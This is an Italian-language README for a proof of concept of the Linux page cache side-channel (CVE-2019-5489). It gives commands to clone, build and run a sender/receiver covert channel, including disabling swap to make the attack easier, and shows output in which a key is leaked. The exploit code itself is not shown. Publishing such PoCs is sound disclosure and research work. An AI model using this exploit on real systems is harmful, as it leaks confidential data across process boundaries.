
Attacchi side-channel della cache di pagina (CVE-2019-5489) proof of concept per Linux
Questo repository contiene un proof of concept per Linux degli attacchi side-channel della cache delle pagine (CVE-2019-5489).
Per valutare il side-channel della cache delle pagine, ho implementato un canale nascosto tra due processi. Il processo mittente invia dati riservati a un processo ricevente tramite il side-channel della cache delle pagine. Gli attacchi alla cache delle pagine sono stati mitigati in Linux Kernel 5.0 e successivi, quindi questa PoC funzionerà solo prima di Linux Kernel 5.0.
NOTA: Ho testato il funzionamento su Ubuntu 18.04, Linux 4.15.0-70.
Esegui il comando seguente.
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
Disabilita lo spazio di swap per facilitare l'attacco.
swapoff -a
All'inizio, esegui il comando seguente sul terminale 1.
make run-sender
Dopo che sending 1th character ... viene visualizzato sul terminale 1, esegui il comando seguente.
make run-receiver
Se l'esecuzione ha successo, verrà visualizzato quanto segue.
Questo mostra che la chiave è stata inviata dal processo Mittente al processo Ricevente tramite il side-channel della cache delle pagine.
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord